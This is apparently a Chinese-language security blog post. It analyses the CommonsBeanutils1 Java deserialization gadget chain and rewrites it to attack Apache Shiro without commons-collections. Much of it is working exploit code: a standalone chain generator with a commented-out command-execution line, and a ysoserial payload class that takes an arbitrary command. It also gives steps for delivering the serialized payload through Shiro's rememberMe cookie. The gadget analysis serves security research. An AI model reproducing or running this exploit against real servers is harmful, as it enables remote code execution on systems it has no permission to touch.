ysoserial-CommonsBeanutils1的shiro無依賴鏈改造
一、CB1利用鏈分析
此條利用鏈需要配合Commons-Beanutils元件來進行利用,在shiro中是自帶此元件的。
先上大佬寫的簡化版利用鏈,和ysoserial中的程式碼有點不同,但原理是一樣的
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CommonsBeanutils {
// 修改值的方法,簡化程式碼
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
public static void main(String[] args) throws Exception {
// 建立惡意類,用於報錯丟擲呼叫鏈
ClassPool pool = ClassPool.getDefault();
CtClass payload = pool.makeClass("EvilClass");
payload.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
payload.makeClassInitializer().setBody("new java.io.IOException().printStackTrace();");
// payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] evilClass = payload.toBytecode();
// set field
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{evilClass});
setFieldValue(templates, "_name", "test");
setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
// 建立序列化物件
BeanComparator beanComparator = new BeanComparator();
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
queue.add(1);
queue.add(1);
// 修改值
setFieldValue(beanComparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates});
// 反序列化
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
out.writeObject(queue);
ObjectInputStream in = new ObjectInputStream(new FileInputStream("serialize.ser"));
in.readObject();
}
}
在分析每一條利用鏈的方法時候,我都會從以下幾個點來進行分析:
1、首先要找到反序列化入口(source)
2、呼叫鏈(gadget)
3、觸發漏洞的目標方法(sink)
而此條利用鏈,這三點分別為:
1)入口:
PriorityQueue#readObject
2)呼叫鏈:
PriorityQueue#readObject -》 BeanComparator#compare -》 TemplatesImpl#getOutputProperties
3)觸發漏洞的目標方法:
TemplatesImpl#getOutputProperties
PriorityQueue
PriorityQueue#readObject
作為CC2的入口點,在CB1鏈中同樣是以此為入口,其readObject
中有個heapify
方法
跟進heapify
,在713行會去呼叫siftDown
方法,前提是滿足for迴圈中的size值大於等於2
siftDown
方法中,通過一個if判斷後,會呼叫到兩個方法,而在siftDownUsingComparator
中才是執行呼叫鏈的操作
跟進siftDownUsingComparator
方法,可以看到在699行呼叫了comparator#compare
,整個PriorityQueue
類的漏洞呼叫鏈就是到這裡了
BeanComparator
BeanComparator
是一個bean比較器,用來比較兩個JavaBean是否相等,其實現了java.util.Comparator
介面,有一個Comparator
方法
可以看到,在Comparator
方法中先判斷property值是否為空,之後呼叫了PropertyUtils.getProperty
方法。而PropertyUtils.getProperty
這個方法會去呼叫傳入的javaBean中this.property
值的getter方法,這個點是呼叫鏈的關鍵!
TemplatesImpl
漏洞的觸發點就是利用了TemplatesImpl#getOutputProperties()
方法的載入位元組碼,來呼叫到惡意類的構造方法、靜態方法。整個呼叫鏈就不分析了,這裡寫下呼叫鏈:
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
二、Shiro無依賴利用鏈改造
在ysoserial中的CB1鏈,其實是依賴commons.collections包的,也就是CC鏈中的包,因為其BeanComparator
類的構造方法中,會呼叫到ComparableComparator.getInstance()
,ComparableComparator
類就是在commons.collections包中。
shiro中自帶了Commons-Beanutils元件,並沒有自帶commons.collections包。所以我們嘗試修改CB1鏈來使其脫離commons.collections包的限制。
需要滿足三個條件:
- 實現
java.util.Comparator
介面 - 實現
java.io.Serializable
介面 - Java、shiro或commons-beanutils自帶,且相容性強
在這裡師傅們找到了兩個類
CaseInsensitiveComparator和java.util.Collections$ReverseComparator
以CaseInsensitiveComparator
類為例,CaseInsensitiveComparator
物件是通過String.CASE_INSENSITIVE_ORDER
拿到的
只需要把String.CASE_INSENSITIVE_ORDER
放入BeanComparator
類的建構函式中即可使if為真,從而不呼叫到CC元件中的類
BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
這裡使用P神已經寫好的POC來進行測試,專案地址在https://github.com/phith0n/JavaThings
開啟shiroattack專案
執行以上的Client1後,會生成cookie中對應的rememberMe值
shiro環境同樣使用P神的環境https://github.com/phith0n/JavaThings,註釋掉環境shiro環境中的commons-collections元件
訪問/login.jsp介面勾選rememberMe登入,使用burp抓包,在cookie裡面新增rememberMe=payload;
另一個類java.util.Collections$ReverseComparator
,也是通過其靜態方法拿到
同樣只需要把Collections.reverseOrder()
放入BeanComparator
類的建構函式中即可
BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder());
三、ysoserial改造
把以下程式碼加入ysoserial的payloads模組即可
package ysoserial.payloads;
import org.apache.commons.beanutils.BeanComparator;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import java.util.Collections;
import java.util.PriorityQueue;
public class CommonsBeanutils2 implements ObjectPayload<Object>{
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder());
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(1);
queue.add(1);
// switch method called by comparator
Reflections.setFieldValue(comparator, "property", "outputProperties");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;
return queue;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsBeanutils2.class, args);
}
}
打包jar
mvn clean package -DskipTests